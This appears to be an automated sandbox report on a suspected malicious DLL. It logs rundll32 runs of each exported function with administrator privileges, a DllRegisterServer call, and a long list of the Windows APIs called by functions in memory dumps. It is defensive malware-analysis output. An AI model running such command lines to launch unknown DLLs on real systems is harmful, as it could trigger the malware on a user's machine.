Commandline:	rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,PauseW
Imagebase:	0x7ff7eb2b0000
File size:	69632 bytes
MD5 hash:	73C519F050C20580F8A62C849D49215A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: rundll32.exe PID: 6332 Parent PID: 6060

General

Start time:	09:52:45
Start date:	28/09/2021
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,ResumeServer
Imagebase:	0x7ff7eb2b0000
File size:	69632 bytes
MD5 hash:	73C519F050C20580F8A62C849D49215A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: rundll32.exe PID: 5532 Parent PID: 6060

General

Start time:	09:52:50
Start date:	28/09/2021
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,ResumeW
Imagebase:	0x7ff7eb2b0000
File size:	69632 bytes
MD5 hash:	73C519F050C20580F8A62C849D49215A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: rundll32.exe PID: 7152 Parent PID: 6060

General

Start time:	09:52:53
Start date:	28/09/2021
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,StartServer
Imagebase:	0x7ff7eb2b0000
File size:	69632 bytes
MD5 hash:	73C519F050C20580F8A62C849D49215A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: rundll32.exe PID: 5328 Parent PID: 6060

General

Start time:	09:52:57
Start date:	28/09/2021
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,StartW
Imagebase:	0x7ff7eb2b0000
File size:	69632 bytes
MD5 hash:	73C519F050C20580F8A62C849D49215A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: rundll32.exe PID: 5952 Parent PID: 6060

General

Start time:	09:53:00
Start date:	28/09/2021
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,StopServer
Imagebase:	0x7ff7eb2b0000
File size:	69632 bytes
MD5 hash:	73C519F050C20580F8A62C849D49215A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: rundll32.exe PID: 5552 Parent PID: 6060

General

Start time:	09:53:04
Start date:	28/09/2021
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,SuspendServer
Imagebase:	0x7ff7eb2b0000
File size:	69632 bytes
MD5 hash:	73C519F050C20580F8A62C849D49215A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: rundll32.exe PID: 5656 Parent PID: 6060

General

Start time:	09:53:08
Start date:	28/09/2021
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,opj_codec_set_threads
Imagebase:	0x7ff7eb2b0000
File size:	69632 bytes
MD5 hash:	73C519F050C20580F8A62C849D49215A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: rundll32.exe PID: 5924 Parent PID: 6060

General

Start time:	09:53:11
Start date:	28/09/2021
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,opj_create_compress
Imagebase:	0x7ff7eb2b0000
File size:	69632 bytes
MD5 hash:	73C519F050C20580F8A62C849D49215A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: rundll32.exe PID: 6276 Parent PID: 6588

General

Start time:	09:53:14
Start date:	28/09/2021
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,DllRegisterServer {FD4EF353-9C8C-48E0-BB05-78974FB93B24}
Imagebase:	0x7ff7eb2b0000
File size:	69632 bytes
MD5 hash:	73C519F050C20580F8A62C849D49215A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: rundll32.exe PID: 1312 Parent PID: 6060

General

Start time:	09:53:15
Start date:	28/09/2021
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,opj_create_decompress
Imagebase:	0x7ff7eb2b0000
File size:	69632 bytes
MD5 hash:	73C519F050C20580F8A62C849D49215A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: rundll32.exe PID: 6312 Parent PID: 6060

General

Start time:	09:53:19
Start date:	28/09/2021
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,opj_decode
Imagebase:	0x7ff7eb2b0000
File size:	69632 bytes
MD5 hash:	73C519F050C20580F8A62C849D49215A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: svchost.exe PID: 5684 Parent PID: 1384

General

Start time:	09:53:19
Start date:	28/09/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k UnistackSvcGroup
Imagebase:	0x7ff70d6e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: rundll32.exe PID: 7056 Parent PID: 6060

General

Start time:	09:53:22
Start date:	28/09/2021
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,opj_decode_tile_data
Imagebase:	0x7ff7eb2b0000
File size:	69632 bytes
MD5 hash:	73C519F050C20580F8A62C849D49215A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: rundll32.exe PID: 5700 Parent PID: 6588

General

Start time:	09:53:24
Start date:	28/09/2021
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,PauseW {472D041F-5A83-4CB6-BA61-CCC2757AAF71}
Imagebase:	0x7ff7eb2b0000
File size:	69632 bytes
MD5 hash:	73C519F050C20580F8A62C849D49215A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: rundll32.exe PID: 6700 Parent PID: 6060

General

Start time:	09:53:26
Start date:	28/09/2021
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,opj_destroy_codec
Imagebase:	0x7ff7eb2b0000
File size:	69632 bytes
MD5 hash:	73C519F050C20580F8A62C849D49215A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: svchost.exe PID: 3148 Parent PID: 5580

General

Start time:	09:53:30
Start date:	28/09/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k UnistackSvcGroup
Imagebase:	0x7ff70d6e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: rundll32.exe PID: 1200 Parent PID: 6060

General

Start time:	09:53:30
Start date:	28/09/2021
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,opj_destroy_cstr_index
Imagebase:	0x7ff7eb2b0000
File size:	69632 bytes
MD5 hash:	73C519F050C20580F8A62C849D49215A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: rundll32.exe PID: 7104 Parent PID: 6060

General

Start time:	09:53:34
Start date:	28/09/2021
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,opj_destroy_cstr_info
Imagebase:	0x7ff7eb2b0000
File size:	69632 bytes
MD5 hash:	73C519F050C20580F8A62C849D49215A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: rundll32.exe PID: 6420 Parent PID: 6588

General

Start time:	09:53:36
Start date:	28/09/2021
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,ResumeW {A30E4BC4-954D-4192-B87D-90749D0EE54D}
Imagebase:	0x7ff7eb2b0000
File size:	69632 bytes
MD5 hash:	73C519F050C20580F8A62C849D49215A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: rundll32.exe PID: 6424 Parent PID: 6060

General

Start time:	09:53:38
Start date:	28/09/2021
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,opj_dump_codec
Imagebase:	0x7ff7eb2b0000
File size:	69632 bytes
MD5 hash:	73C519F050C20580F8A62C849D49215A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: rundll32.exe PID: 5096 Parent PID: 6060

General

Start time:	09:53:42
Start date:	28/09/2021
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe C:\Users\user\Desktop\TWsmIoYqC6.dll,opj_encode
Imagebase:	0x7ff7eb2b0000
File size:	69632 bytes
MD5 hash:	73C519F050C20580F8A62C849D49215A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: svchost.exe PID: 5684 Parent PID: 1384 svchost.exeCOMMON

Executed Functions

Function 00007FF70D6E8A90, Relevance: 478.6, APIs: 246, Strings: 26, Instructions: 2610memorystringCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF70D6E8ACF
HeapAlloc.KERNEL32 ref: 00007FF70D6E8ADE
wsprintfA.USER32 ref: 00007FF70D6E8C37
GetProcessHeap.KERNEL32 ref: 00007FF70D6E8C44
HeapReAlloc.KERNEL32 ref: 00007FF70D6E8C55
GetProcessHeap.KERNEL32 ref: 00007FF70D6E8C63
HeapFree.KERNEL32 ref: 00007FF70D6E8C71
wsprintfA.USER32 ref: 00007FF70D6E8D3D
GetProcessHeap.KERNEL32 ref: 00007FF70D6E8D4B
HeapReAlloc.KERNEL32 ref: 00007FF70D6E8D5C
wsprintfA.USER32 ref: 00007FF70D6E8E68
GetProcessHeap.KERNEL32 ref: 00007FF70D6E8E76
HeapReAlloc.KERNEL32 ref: 00007FF70D6E8E87
GetProcessHeap.KERNEL32 ref: 00007FF70D6E8EC7
HeapReAlloc.KERNEL32 ref: 00007FF70D6E8ED8
wsprintfA.USER32 ref: 00007FF70D6E8F6E
GetProcessHeap.KERNEL32 ref: 00007FF70D6E8F7B
HeapReAlloc.KERNEL32 ref: 00007FF70D6E8F8C
GetProcessHeap.KERNEL32 ref: 00007FF70D6E8FD1
HeapReAlloc.KERNEL32 ref: 00007FF70D6E8FE2

Part of subcall function 00007FF70D6F1370: GetFileVersionInfoSizeA.VERSION ref: 00007FF70D6F13A2
Part of subcall function 00007FF70D6F1370: GetProcessHeap.KERNEL32 ref: 00007FF70D6F13AE
Part of subcall function 00007FF70D6F1370: HeapAlloc.KERNEL32 ref: 00007FF70D6F13BC
Part of subcall function 00007FF70D6F1370: GetFileVersionInfoA.VERSION ref: 00007FF70D6F13D5
Part of subcall function 00007FF70D6F1370: GetProcessHeap.KERNEL32 ref: 00007FF70D6F13DF
Part of subcall function 00007FF70D6F1370: HeapFree.KERNEL32 ref: 00007FF70D6F13ED

GetProcessHeap.KERNEL32 ref: 00007FF70D6E9139
HeapFree.KERNEL32 ref: 00007FF70D6E914B
GetProcessHeap.KERNEL32 ref: 00007FF70D6E9151
HeapFree.KERNEL32 ref: 00007FF70D6E915F

Part of subcall function 00007FF70D6E3590: VerSetConditionMask.NTDLL ref: 00007FF70D6E35ED
Part of subcall function 00007FF70D6E3590: VerifyVersionInfoW.KERNEL32 ref: 00007FF70D6E3600

GetProcessHeap.KERNEL32 ref: 00007FF70D6EA20D
HeapFree.KERNEL32 ref: 00007FF70D6EA21B
GetProcessHeap.KERNEL32 ref: 00007FF70D6EA26C
HeapFree.KERNEL32 ref: 00007FF70D6EA27E
GetProcessHeap.KERNEL32 ref: 00007FF70D6EA288
HeapReAlloc.KERNEL32 ref: 00007FF70D6EA299
GetProcessHeap.KERNEL32 ref: 00007FF70D6EB629

Part of subcall function 00007FF70D6F42E0: GetProcAddress.KERNEL32 ref: 00007FF70D6F43B7
Part of subcall function 00007FF70D6F42E0: GetProcessHeap.KERNEL32 ref: 00007FF70D6F441E
Part of subcall function 00007FF70D6F42E0: HeapAlloc.KERNEL32 ref: 00007FF70D6F442C

lstrlenA.KERNEL32 ref: 00007FF70D6EA357
GetProcessHeap.KERNEL32 ref: 00007FF70D6EA364
HeapReAlloc.KERNEL32 ref: 00007FF70D6EA375
GetProcessHeap.KERNEL32 ref: 00007FF70D6EA383
HeapFree.KERNEL32 ref: 00007FF70D6EA391
GetProcessHeap.KERNEL32 ref: 00007FF70D6EA397
GetProcessHeap.KERNEL32 ref: 00007FF70D6EA3B7
HeapFree.KERNEL32 ref: 00007FF70D6EA3C5
GetProcessHeap.KERNEL32 ref: 00007FF70D6EA3D0
HeapReAlloc.KERNEL32 ref: 00007FF70D6EA3E1
wsprintfA.USER32 ref: 00007FF70D6EA4F2
GetProcessHeap.KERNEL32 ref: 00007FF70D6EA4FF
HeapReAlloc.KERNEL32 ref: 00007FF70D6EA510
GetProcessHeap.KERNEL32 ref: 00007FF70D6EA53C
HeapReAlloc.KERNEL32 ref: 00007FF70D6EA54D
GetProcessHeap.KERNEL32 ref: 00007FF70D6EA647
HeapReAlloc.KERNEL32 ref: 00007FF70D6EA658
GetProcessHeap.KERNEL32 ref: 00007FF70D6EA666
GetProcessHeap.KERNEL32 ref: 00007FF70D6EA699
HeapFree.KERNEL32 ref: 00007FF70D6EA6AB
GetProcessHeap.KERNEL32 ref: 00007FF70D6EA6B5
HeapReAlloc.KERNEL32 ref: 00007FF70D6EA6C6
lstrlenW.KERNEL32 ref: 00007FF70D6EA764
GetProcessHeap.KERNEL32 ref: 00007FF70D6EA7B3
HeapReAlloc.KERNEL32 ref: 00007FF70D6EA7C4
GetProcessHeap.KERNEL32 ref: 00007FF70D6EA7F0
HeapReAlloc.KERNEL32 ref: 00007FF70D6EA801
lstrlenA.KERNEL32 ref: 00007FF70D6EA88B
lstrlenA.KERNEL32 ref: 00007FF70D6EA89B
GetProcessHeap.KERNEL32 ref: 00007FF70D6EA8AE
HeapReAlloc.KERNEL32 ref: 00007FF70D6EA8BF
GetProcessHeap.KERNEL32 ref: 00007FF70D6EA8CD
GetProcessHeap.KERNEL32 ref: 00007FF70D6EA93C
HeapReAlloc.KERNEL32 ref: 00007FF70D6EA94D
GetProcessHeap.KERNEL32 ref: 00007FF70D6EAA7F
HeapReAlloc.KERNEL32 ref: 00007FF70D6EAA94
GetProcessHeap.KERNEL32 ref: 00007FF70D6EAAA2
HeapFree.KERNEL32 ref: 00007FF70D6EAAB4
GetProcessHeap.KERNEL32 ref: 00007FF70D6EAAC6
GetProcessHeap.KERNEL32 ref: 00007FF70D6EAAFC
HeapFree.KERNEL32 ref: 00007FF70D6EAB0E
GetProcessHeap.KERNEL32 ref: 00007FF70D6EAB24
HeapReAlloc.KERNEL32 ref: 00007FF70D6EAB35
lstrlenA.KERNEL32 ref: 00007FF70D6EABBE
GetProcessHeap.KERNEL32 ref: 00007FF70D6EABCB
HeapReAlloc.KERNEL32 ref: 00007FF70D6EABDC
GetProcessHeap.KERNEL32 ref: 00007FF70D6EABEA
HeapFree.KERNEL32 ref: 00007FF70D6EABF8
GetProcessHeap.KERNEL32 ref: 00007FF70D6EABFE
GetProcessHeap.KERNEL32 ref: 00007FF70D6EAC1E
HeapFree.KERNEL32 ref: 00007FF70D6EAC2C
GetProcessHeap.KERNEL32 ref: 00007FF70D6EAC36
HeapReAlloc.KERNEL32 ref: 00007FF70D6EAC47
StrFormatByteSizeEx.SHLWAPI ref: 00007FF70D6EAD19
lstrlenW.KERNEL32 ref: 00007FF70D6EAD3C
GetProcessHeap.KERNEL32 ref: 00007FF70D6EAD6C
HeapReAlloc.KERNEL32 ref: 00007FF70D6EAD7D
GetProcessHeap.KERNEL32 ref: 00007FF70D6EAD8B
GetProcessHeap.KERNEL32 ref: 00007FF70D6EADC1
HeapFree.KERNEL32 ref: 00007FF70D6EADD3
GetProcessHeap.KERNEL32 ref: 00007FF70D6EADDD
HeapReAlloc.KERNEL32 ref: 00007FF70D6EADEE
lstrlenW.KERNEL32 ref: 00007FF70D6EAE98
GetProcessHeap.KERNEL32 ref: 00007FF70D6EAEE5
HeapReAlloc.KERNEL32 ref: 00007FF70D6EAEF6
GetProcessHeap.KERNEL32 ref: 00007FF70D6EAF04
GetProcessHeap.KERNEL32 ref: 00007FF70D6EAF31
GetProcessHeap.KERNEL32 ref: 00007FF70D6EAF5F
HeapFree.KERNEL32 ref: 00007FF70D6EAF71
HeapFree.KERNEL32 ref: 00007FF70D6EAF16

Part of subcall function 00007FF70D6FBA70: GetProcAddress.KERNEL32 ref: 00007FF70D6FBAF6

GetProcessHeap.KERNEL32 ref: 00007FF70D6EAF90
HeapReAlloc.KERNEL32 ref: 00007FF70D6EAFA1
lstrcpyA.KERNEL32 ref: 00007FF70D6EB041
GetProcessHeap.KERNEL32 ref: 00007FF70D6EB0BE
HeapReAlloc.KERNEL32 ref: 00007FF70D6EB0CF
GetProcessHeap.KERNEL32 ref: 00007FF70D6EB101
HeapFree.KERNEL32 ref: 00007FF70D6EB113
GetProcessHeap.KERNEL32 ref: 00007FF70D6EB132
HeapReAlloc.KERNEL32 ref: 00007FF70D6EB143
lstrcpyA.KERNEL32 ref: 00007FF70D6EB2EC

Part of subcall function 00007FF70D6FCF70: GetProcAddress.KERNEL32 ref: 00007FF70D6FD0B6

GetProcessHeap.KERNEL32 ref: 00007FF70D6EB369
HeapReAlloc.KERNEL32 ref: 00007FF70D6EB37A
GetProcessHeap.KERNEL32 ref: 00007FF70D6EB388
HeapFree.KERNEL32 ref: 00007FF70D6EB39A
GetProcessHeap.KERNEL32 ref: 00007FF70D6EB3D0
HeapFree.KERNEL32 ref: 00007FF70D6EB3E2
GetProcessHeap.KERNEL32 ref: 00007FF70D6EB401
HeapReAlloc.KERNEL32 ref: 00007FF70D6EB412
lstrcpyA.KERNEL32 ref: 00007FF70D6EB5A4
GetProcessHeap.KERNEL32 ref: 00007FF70D6EB640
HeapReAlloc.KERNEL32 ref: 00007FF70D6EB651
GetProcessHeap.KERNEL32 ref: 00007FF70D6EB683
HeapFree.KERNEL32 ref: 00007FF70D6EB695
GetProcessHeap.KERNEL32 ref: 00007FF70D6EB6B4
HeapReAlloc.KERNEL32 ref: 00007FF70D6EB6C5
lstrcpyA.KERNEL32 ref: 00007FF70D6EB7DC

Part of subcall function 00007FF70D6F6310: GetProcAddress.KERNEL32 ref: 00007FF70D6F63C4

GetProcessHeap.KERNEL32 ref: 00007FF70D6EBB46

Part of subcall function 00007FF70D6F39B0: GetProcAddress.KERNEL32 ref: 00007FF70D6F3AB2

GetProcessHeap.KERNEL32 ref: 00007FF70D6EB86F
HeapReAlloc.KERNEL32 ref: 00007FF70D6EB880
GetProcessHeap.KERNEL32 ref: 00007FF70D6EB8B2
HeapFree.KERNEL32 ref: 00007FF70D6EB8C4
GetProcessHeap.KERNEL32 ref: 00007FF70D6EB8E3
HeapReAlloc.KERNEL32 ref: 00007FF70D6EB8F4
lstrcpyA.KERNEL32 ref: 00007FF70D6EBA04
GetProcessHeap.KERNEL32 ref: 00007FF70D6EBA81
HeapReAlloc.KERNEL32 ref: 00007FF70D6EBA92
GetProcessHeap.KERNEL32 ref: 00007FF70D6EBAA0
HeapFree.KERNEL32 ref: 00007FF70D6EBAB2
GetProcessHeap.KERNEL32 ref: 00007FF70D6EBACD
GetProcessHeap.KERNEL32 ref: 00007FF70D6EBAFB
HeapFree.KERNEL32 ref: 00007FF70D6EBB0D

Strings

p, xrefs: 00007FF70D6E8BE8
3, xrefs: 00007FF70D6E9F7B
O, xrefs: 00007FF70D6E8BCA
a, xrefs: 00007FF70D6EA47F
], xrefs: 00007FF70D6EA493
[, xrefs: 00007FF70D6E9F39
), xrefs: 00007FF70D6E9F71
:, xrefs: 00007FF70D6EA498
K, xrefs: 00007FF70D6E8BDE
R, xrefs: 00007FF70D6EA4D1
I, xrefs: 00007FF70D6E8BD4
a, xrefs: 00007FF70D6EA475
G, xrefs: 00007FF70D6E9F1D
), xrefs: 00007FF70D6E9F67
T, xrefs: 00007FF70D6E8F08
;, xrefs: 00007FF70D6E9F6C
5, xrefs: 00007FF70D6EA4CC
*, xrefs: 00007FF70D6E9F80
j, xrefs: 00007FF70D6E8F0D
9, xrefs: 00007FF70D6E9F76
U, xrefs: 00007FF70D6EA789
b, xrefs: 00007FF70D6EA4C2
g, xrefs: 00007FF70D6E9F3E
u, xrefs: 00007FF70D6EA4C7
B, xrefs: 00007FF70D6E8EEA
u, xrefs: 00007FF70D6EA484

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$Process$Alloc$Free$lstrlen$AddressProclstrcpywsprintf$InfoVersion$FileSize$ByteConditionFormatMaskVerify
String ID: )$)$*$3$5$9$:$;$B$G$I$K$O$R$T$U$[$]$a$a$b$g$j$p$u$u
API String ID: 2521663311-1750825538
Opcode ID: f6f2bdb67d114372152d3d2fa7c9f6cf31f596cdf6701b70ffd9129782da2385
Instruction ID: c06bce8d9de25b7375b4e15d8ea1522e3f99a62db9778e9c9d3c3e925401e754
Opcode Fuzzy Hash: f6f2bdb67d114372152d3d2fa7c9f6cf31f596cdf6701b70ffd9129782da2385
Instruction Fuzzy Hash: 6C638026A0C7C289E721DB79DC043ED6B91EF5978CF844165DA4D0BB9AEF7D9208C321

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6F7A60, Relevance: 305.9, APIs: 148, Strings: 25, Instructions: 3162memorystringlibraryCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF70D6F7C44
CreateMutexExA.KERNEL32 ref: 00007FF70D6F7C55
GetProcessHeap.KERNEL32 ref: 00007FF70D6F7CA2
HeapAlloc.KERNEL32 ref: 00007FF70D6F7CB0
GetProcessHeap.KERNEL32 ref: 00007FF70D6F7CF1
HeapAlloc.KERNEL32 ref: 00007FF70D6F7D03
GetProcessHeap.KERNEL32 ref: 00007FF70D6F7D2F
HeapFree.KERNEL32 ref: 00007FF70D6F7D3D
GetProcessHeap.KERNEL32 ref: 00007FF70D6F7D52
HeapAlloc.KERNEL32 ref: 00007FF70D6F7D60
GetProcessHeap.KERNEL32 ref: 00007FF70D6F7D6E
wsprintfA.USER32 ref: 00007FF70D6F7DE6
GetProcAddress.KERNEL32 ref: 00007FF70D6F7F2C
StrDupA.SHLWAPI ref: 00007FF70D6F80A0
StrDupA.SHLWAPI ref: 00007FF70D6F80B1
StrDupA.SHLWAPI ref: 00007FF70D6F80C2
GetProcessHeap.KERNEL32 ref: 00007FF70D6F80DB
HeapFree.KERNEL32 ref: 00007FF70D6F80E9
GetProcessHeap.KERNEL32 ref: 00007FF70D6F80EF
HeapFree.KERNEL32 ref: 00007FF70D6F80FD

Part of subcall function 00007FF70D6F6790: GetProcAddress.KERNEL32 ref: 00007FF70D6F6843

Part of subcall function 00007FF70D6E2CC0: GetProcAddress.KERNEL32 ref: 00007FF70D6E2D57

GetProcAddress.KERNEL32 ref: 00007FF70D6F82A3
wsprintfA.USER32 ref: 00007FF70D6F838E
wsprintfA.USER32 ref: 00007FF70D6F854E

Part of subcall function 00007FF70D6E5410: wsprintfA.USER32 ref: 00007FF70D6E54A4

WaitForSingleObject.KERNEL32 ref: 00007FF70D6FB84E

Part of subcall function 00007FF70D6F6920: GetProcAddress.KERNEL32 ref: 00007FF70D6F69C4

GetProcAddress.KERNEL32 ref: 00007FF70D6F8762
GetProcessHeap.KERNEL32 ref: 00007FF70D6F8778
HeapFree.KERNEL32 ref: 00007FF70D6F8786
GetProcessHeap.KERNEL32 ref: 00007FF70D6F8798
HeapFree.KERNEL32 ref: 00007FF70D6F87A6
GetProcessHeap.KERNEL32 ref: 00007FF70D6F87B8
HeapFree.KERNEL32 ref: 00007FF70D6F87C6
GetProcessHeap.KERNEL32 ref: 00007FF70D6F87FA
HeapFree.KERNEL32 ref: 00007FF70D6F8808
wsprintfA.USER32 ref: 00007FF70D6F8966
wsprintfA.USER32 ref: 00007FF70D6F89C8
GetProcAddress.KERNEL32 ref: 00007FF70D6F8AC0
GetProcAddress.KERNEL32 ref: 00007FF70D6F8B62
SleepEx.KERNEL32 ref: 00007FF70D6F8B6B
GetProcessHeap.KERNEL32 ref: 00007FF70D6F8B79
HeapFree.KERNEL32 ref: 00007FF70D6F8B87
GetProcessHeap.KERNEL32 ref: 00007FF70D6F8B99
HeapFree.KERNEL32 ref: 00007FF70D6F8BA7
GetProcessHeap.KERNEL32 ref: 00007FF70D6F8BBD
HeapFree.KERNEL32 ref: 00007FF70D6F8BCB

Part of subcall function 00007FF70D6F6540: GetProcAddress.KERNEL32 ref: 00007FF70D6F65D4

GetProcessHeap.KERNEL32 ref: 00007FF70D6F8DB7
HeapFree.KERNEL32 ref: 00007FF70D6F8DC9
GetProcAddress.KERNEL32 ref: 00007FF70D6F8E42
SleepEx.KERNEL32 ref: 00007FF70D6F8E4A
GetProcessHeap.KERNEL32 ref: 00007FF70D6F8E58
HeapFree.KERNEL32 ref: 00007FF70D6F8E66
GetProcessHeap.KERNEL32 ref: 00007FF70D6F8E78
HeapFree.KERNEL32 ref: 00007FF70D6F8E86
GetProcessHeap.KERNEL32 ref: 00007FF70D6F8E9C
lstrcpyA.KERNEL32 ref: 00007FF70D6F911A
lstrcpyW.KERNEL32 ref: 00007FF70D6F92AD
lstrcpyW.KERNEL32 ref: 00007FF70D6F932B
GetProcAddress.KERNEL32 ref: 00007FF70D6F93EC
GetProcAddress.KERNEL32 ref: 00007FF70D6F94BC
lstrcpyW.KERNEL32 ref: 00007FF70D6F95DB
lstrcmpiW.KERNEL32 ref: 00007FF70D6F9600
lstrcatW.KERNEL32 ref: 00007FF70D6F975B
lstrcpyW.KERNEL32 ref: 00007FF70D6F97EE
lstrlenW.KERNEL32 ref: 00007FF70D6F980A
lstrlenW.KERNEL32 ref: 00007FF70D6F9815
lstrlenW.KERNEL32 ref: 00007FF70D6F9824
GetProcessHeap.KERNEL32 ref: 00007FF70D6F9835
HeapAlloc.KERNEL32 ref: 00007FF70D6F9843
lstrcpyW.KERNEL32 ref: 00007FF70D6F98EB
wsprintfW.USER32 ref: 00007FF70D6F990E
GetProcAddress.KERNEL32 ref: 00007FF70D6F9993
GetProcessHeap.KERNEL32 ref: 00007FF70D6F99D6
HeapFree.KERNEL32 ref: 00007FF70D6F99E4
GetProcAddress.KERNEL32 ref: 00007FF70D6F9A63
lstrcpyA.KERNEL32 ref: 00007FF70D6F9C8D
HeapFree.KERNEL32 ref: 00007FF70D6F8EAA

Part of subcall function 00007FF70D6F5E20: GetProcAddress.KERNEL32 ref: 00007FF70D6F5EA6

Part of subcall function 00007FF70D6F5790: GetProcAddress.KERNEL32 ref: 00007FF70D6F5834

GetProcessHeap.KERNEL32 ref: 00007FF70D6FAEB0
HeapFree.KERNEL32 ref: 00007FF70D6FAEBE
GetProcessHeap.KERNEL32 ref: 00007FF70D6FAED0
HeapFree.KERNEL32 ref: 00007FF70D6FAEDE
GetProcessHeap.KERNEL32 ref: 00007FF70D6FAEF0
HeapFree.KERNEL32 ref: 00007FF70D6FAEFE
GetProcessHeap.KERNEL32 ref: 00007FF70D6FAF14
HeapFree.KERNEL32 ref: 00007FF70D6FAF22
GetProcAddress.KERNEL32 ref: 00007FF70D6FAFD2
GetProcessHeap.KERNEL32 ref: 00007FF70D6FB0E1
HeapFree.KERNEL32 ref: 00007FF70D6FB0F3
GetProcessHeap.KERNEL32 ref: 00007FF70D6FB113
HeapFree.KERNEL32 ref: 00007FF70D6FB125
GetProcAddress.KERNEL32 ref: 00007FF70D6FB22C
GetProcessHeap.KERNEL32 ref: 00007FF70D6FB26B
HeapFree.KERNEL32 ref: 00007FF70D6FB279
GetProcessHeap.KERNEL32 ref: 00007FF70D6FB28B
